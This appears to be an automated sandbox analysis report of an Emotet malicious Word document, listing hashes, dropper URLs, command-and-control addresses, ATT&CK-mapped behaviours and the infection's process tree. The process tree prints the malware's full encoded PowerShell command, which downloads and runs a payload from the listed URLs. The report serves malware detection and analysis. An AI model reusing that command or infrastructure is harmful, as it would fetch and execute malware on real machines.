emotet | bbfbfa4b74ecbd22841d49fe5721601886838b5365ca2da11e07e046670cbf3b

Analysis

max time kernel
136s
max time network
139s
platform
windows10_x64
resource
win10
submitted
21/09/2020, 16:31

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Report Analysis Logs

General

Target
emotet_e1_bbfbfa4b74ecbd22841d49fe5721601886838b5365ca2da11e07e046670cbf3b_2020-09-21__162906735686._doc.doc
Size 190KB
Sample200921-31pvzafpda
SHA256 bbfbfa4b74ecbd22841d49fe5721601886838b5365ca2da11e07e046670cbf3b
MD5 b401b9d29e9f8d1f07c8274818cce887
SHA1 508f2149f4f06c87b916a0f416cead4bff16133f
SHA512 4e974070274951cb684b19a0f6657972abac9f0e36c2bb92e04ea31ec754d61e96e797524db17afd0ecdfde5092cedf085cfc29feafb11cc24f6c9c18e1464d7
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://minershallmuseum.com/documents/D/
exe.dropper
http://injazjordan.com/moodle/Vh/
exe.dropper
https://site1.xyz/wp-admin/Y/
exe.dropper
http://2bstone.com/vr7tf0c/ZD/
exe.dropper
http://biology-360.com/wp-admin/hv/
exe.dropper
http://tez-tour.site/wp-content/9sB/
exe.dropper
http://iooe.cn/wp-content/hdO/

Extracted

Family

emotet

76.168.54.203:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
5.196.35.138:7080
177.129.17.170:443
87.106.46.107:8080
68.183.190.199:8080
185.183.16.47:80
186.103.141.250:443
64.201.88.132:80
70.32.84.74:8080
68.69.155.181:80
82.76.111.249:443
111.67.12.221:8080
60.93.23.51:80
104.131.41.185:8080
92.24.50.153:80
191.182.6.118:80
61.197.92.216:80
213.197.182.158:8080
137.74.106.111:7080
138.97.60.141:7080
187.162.248.237:80
110.142.219.51:80
51.159.23.217:443
192.241.143.52:8080
190.24.243.186:80
51.255.165.160:8080
212.71.237.140:8080
190.115.18.139:8080
174.113.69.136:80
178.250.54.208:8080
190.2.31.172:80
45.16.226.117:443
50.121.220.50:80
217.13.106.14:8080
217.199.160.224:7080
80.11.164.185:80
172.104.169.32:8080
77.90.136.129:8080
123.51.47.18:80
82.230.1.24:80
74.58.215.226:80
185.94.252.27:443
181.30.61.163:443
111.67.77.202:8080
96.227.52.8:443
2.36.95.106:80
78.249.119.122:80
209.236.123.42:8080
185.215.227.107:443
188.135.15.49:80
83.169.21.32:7080
96.245.123.149:80
216.47.196.104:80
50.28.51.143:8080
5.189.178.202:8080
74.136.144.133:80
72.47.248.48:7080
190.190.148.27:8080
189.2.177.210:443
98.13.75.196:80
185.178.10.77:80
181.129.96.162:8080
67.247.242.247:80
170.81.48.2:80
199.203.62.165:80
204.225.249.100:7080
77.106.157.34:8080
68.183.170.114:8080
45.46.37.97:80
70.32.115.157:8080
190.163.31.26:80
94.176.234.118:443
95.9.180.128:80
104.131.103.37:8080
35.143.99.174:80
91.105.94.200:80
190.6.193.152:8080
155.186.0.121:80
219.92.13.25:80
12.162.84.2:8080
220.109.145.69:80
177.74.228.34:80
77.238.212.227:80
61.92.159.208:8080
186.70.127.199:8090
45.33.77.42:8080
152.169.22.67:80
192.241.146.84:8080
185.94.252.12:80
177.73.0.98:443
65.36.62.20:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1544	968	powershell.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3416-14-0x0000000000740000-0x0000000000752000-memory.dmp	emotet
behavioral2/memory/3416-14-0x0000000000740000-0x0000000000752000-memory.dmp	emotet
behavioral2/memory/3416-15-0x0000000000620000-0x0000000000630000-memory.dmp	emotet
behavioral2/memory/3416-15-0x0000000000620000-0x0000000000630000-memory.dmp	emotet
behavioral2/memory/1748-18-0x0000000000510000-0x0000000000522000-memory.dmp	emotet
behavioral2/memory/1748-18-0x0000000000510000-0x0000000000522000-memory.dmp	emotet
behavioral2/memory/1748-19-0x0000000000530000-0x0000000000540000-memory.dmp	emotet
behavioral2/memory/1748-19-0x0000000000530000-0x0000000000540000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	1544	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3416	Quw2u4t.exe
1748	dsdmo.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\SystemPropertiesRemote\dsdmo.exe	Quw2u4t.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
712	WINWORD.EXE
712	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1544	powershell.exe
1544	powershell.exe
1544	powershell.exe
1748	dsdmo.exe
1748	dsdmo.exe
1748	dsdmo.exe
1748	dsdmo.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1544	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
712	WINWORD.EXE
712	WINWORD.EXE
712	WINWORD.EXE
712	WINWORD.EXE
712	WINWORD.EXE
712	WINWORD.EXE
712	WINWORD.EXE
712	WINWORD.EXE
712	WINWORD.EXE
3416	Quw2u4t.exe
1748	dsdmo.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1544 wrote to memory of 3416	1544	powershell.exe	79
PID 1544 wrote to memory of 3416	1544	powershell.exe	79
PID 1544 wrote to memory of 3416	1544	powershell.exe	79
PID 3416 wrote to memory of 1748	3416	Quw2u4t.exe	83
PID 3416 wrote to memory of 1748	3416	Quw2u4t.exe	83
PID 3416 wrote to memory of 1748	3416	Quw2u4t.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_bbfbfa4b74ecbd22841d49fe5721601886838b5365ca2da11e07e046670cbf3b_2020-09-21__162906735686._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:712

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABaADUAbQA0AHEAYQBwAD0AKAAnAFoAJwArACcAaQAnACsAKAAnAHcAXwBrAHMAJwArACcANwAnACkAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVQBzAGUAcgBwAFIAbwBGAGkATABlAFwAQQB4AG0AcgBIAEEAVABcAEoANQBjAGsAaQAxADkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAdQBSAEkAYABUAHkAcABgAFIATwBgAFQATwBDAG8AbAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAJwArACcAMgAsACAAJwApACsAJwB0ACcAKwAoACcAbABzADEAJwArACcAMQAsACcAKQArACgAJwAgAHQAJwArACcAbABzACcAKQApADsAJABYAG4AOQB0ADYAagB5ACAAPQAgACgAJwBRACcAKwAnAHUAdwAnACsAKAAnADIAJwArACcAdQA0AHQAJwApACkAOwAkAEQAeAAwADUAMwBiAGcAPQAoACcATAAnACsAKAAnAHoAdABiACcAKwAnADgANwAyACcAKQApADsAJABJAHkAYgBtAHgANQBtAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAAnACsAJwB9AEEAeABtAHIAaABhAHQAewAnACsAJwAwAH0ASgA1AGMAawBpADEAJwArACcAOQB7ADAAJwArACcAfQAnACkALQBmAFsAQwBoAGEAUgBdADkAMgApACsAJABYAG4AOQB0ADYAagB5ACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQARgB5AHMAMABvAHQAZQA9ACgAJwBYACcAKwAoACcAMwAnACsAJwB5AHoAZQBoAHoAJwApACkAOwAkAEQAagB0AHgAcQByAG0APQAuACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAEIAQwBsAGkAZQBOAHQAOwAkAE4AbAB4AHQAbgBpAGEAPQAoACcAaAAnACsAKAAnAHQAdABwADoALwAvACcAKwAnAG0AaQBuAGUAJwArACcAcgBzAGgAJwArACcAYQBsACcAKQArACgAJwBsAG0AJwArACcAdQBzACcAKQArACgAJwBlACcAKwAnAHUAbQAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAGQAbwAnACsAJwBjAHUAJwArACcAbQBlACcAKwAnAG4AdABzAC8ARAAnACkAKwAoACcALwAnACsAJwAqAGgAdAB0AHAAOgAvAC8AaQBuAGoAYQB6ACcAKwAnAGoAJwApACsAKAAnAG8AcgAnACsAJwBkACcAKQArACgAJwBhAG4AJwArACcALgBjAG8AJwApACsAJwBtACcAKwAnAC8AJwArACgAJwBtAG8AJwArACcAbwAnACkAKwAnAGQAbAAnACsAKAAnAGUAJwArACcALwBWAGgAJwArACcALwAqAGgAJwApACsAJwB0AHQAJwArACcAcABzACcAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHMAJwArACcAaQAnACsAJwB0AGUAMQAuACcAKQArACgAJwB4ACcAKwAnAHkAegAnACkAKwAoACcALwB3AHAALQBhAGQAbQAnACsAJwBpAG4ALwBZAC8AKgBoACcAKwAnAHQAdABwADoAJwArACcALwAvADIAYgAnACsAJwBzACcAKQArACgAJwB0AG8AbgAnACsAJwBlAC4AYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AJwArACcAdgByACcAKQArACgAJwA3ACcAKwAnAHQAZgAnACkAKwAoACcAMABjACcAKwAnAC8AJwApACsAKAAnAFoAJwArACcARAAvACoAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwBiAGkAbwBsACcAKQArACgAJwBvAGcAeQAnACsAJwAtADMAJwApACsAKAAnADYAJwArACcAMAAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAHcAcAAtAGEAZABtAGkAbgAnACsAJwAvACcAKwAnAGgAdgAvACcAKwAnACoAaAB0AHQAcAA6ACcAKQArACgAJwAvAC8AJwArACcAdAAnACsAJwBlAHoALQB0AG8AdQByACcAKQArACgAJwAuAHMAaQB0ACcAKwAnAGUAJwArACcALwB3AHAALQAnACkAKwAoACcAYwBvAG4AdABlAG4AdAAvACcAKwAnADkAcwAnACsAJwBCAC8AKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAnACsAKAAnAC8ALwBpAG8AbwBlACcAKwAnAC4AYwBuAC8AdwAnACsAJwBwAC0AYwBvACcAKQArACcAbgB0ACcAKwAnAGUAJwArACgAJwBuACcAKwAnAHQALwAnACkAKwAoACcAaAAnACsAJwBkAE8ALwAnACkAKQAuACIAcwBQAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGEAeAA0AGIAdgA4AD0AKAAnAEEAJwArACcAbwAnACsAKAAnAHUAdgAnACsAJwAwADYAbwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE8AawAyAHgAbgA3AGoAIABpAG4AIAAkAE4AbAB4AHQAbgBpAGEAKQB7AHQAcgB5AHsAJABEAGoAdAB4AHEAcgBtAC4AIgBEAG8AdwBuAGAATABvAGEAZABgAEYAaQBsAEUAIgAoACQATwBrADIAeABuADcAagAsACAAJABJAHkAYgBtAHgANQBtACkAOwAkAFYAdgBzADgAbAB1ADgAPQAoACcATgAnACsAKAAnAGQAOAAnACsAJwBhACcAKwAnAG4AcwBkACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAEkAeQBiAG0AeAA1AG0AKQAuACIATABgAEUAbgBHAFQAaAAiACAALQBnAGUAIAAyADQANAA2ADgAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQASQB5AGIAbQB4ADUAbQApADsAJABJADIAOABqADAAMAB4AD0AKAAnAE8AJwArACgAJwA5ACcAKwAnAGEAMAAnACkAKwAoACcAdAA3ACcAKwAnAGMAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkANwB0AHoANAA3ADMAPQAoACgAJwBBACcAKwAnAGoAOQB6ADgAJwApACsAJwB2AHQAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAHYAeABkAHIAcwA2AD0AKAAoACcAVwBmADMAJwArACcAdwAnACkAKwAoACcAOAAnACsAJwB5AF8AJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1544
- C:\Users\Admin\Axmrhat\J5cki19\Quw2u4t.exe
  "C:\Users\Admin\Axmrhat\J5cki19\Quw2u4t.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3416
- - C:\Windows\SysWOW64\SystemPropertiesRemote\dsdmo.exe
    "C:\Windows\SysWOW64\SystemPropertiesRemote\dsdmo.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1748

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/712-1-0x0000019C3F0E2000-0x0000019C3F0F3000-memory.dmp

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memory/712-2-0x0000019C3F0E2000-0x0000019C3F0F3000-memory.dmp

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memory/712-3-0x0000019C3F0E2000-0x0000019C3F0F3000-memory.dmp

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memory/712-4-0x0000019C3F0E2000-0x0000019C3F0F3000-memory.dmp

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memory/712-5-0x0000019C3F0E2000-0x0000019C3F0F3000-memory.dmp

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memory/712-6-0x0000019C3CE4E000-0x0000019C3CE8F000-memory.dmp

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memory/712-7-0x0000019C3F28E000-0x0000019C3F297000-memory.dmp

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memory/712-0-0x00007FFFB8D00000-0x00007FFFB93C6000-memory.dmp

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memory/1544-10-0x00000165593C0000-0x00000165593C1000-memory.dmp

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memory/1544-9-0x0000016559210000-0x0000016559211000-memory.dmp

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memory/1544-8-0x00007FFFB17C0000-0x00007FFFB21AC000-memory.dmp

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memory/1748-18-0x0000000000510000-0x0000000000522000-memory.dmp

Download

memory/1748-19-0x0000000000530000-0x0000000000540000-memory.dmp

Download

memory/3416-14-0x0000000000740000-0x0000000000752000-memory.dmp

Download

memory/3416-15-0x0000000000620000-0x0000000000630000-memory.dmp

Download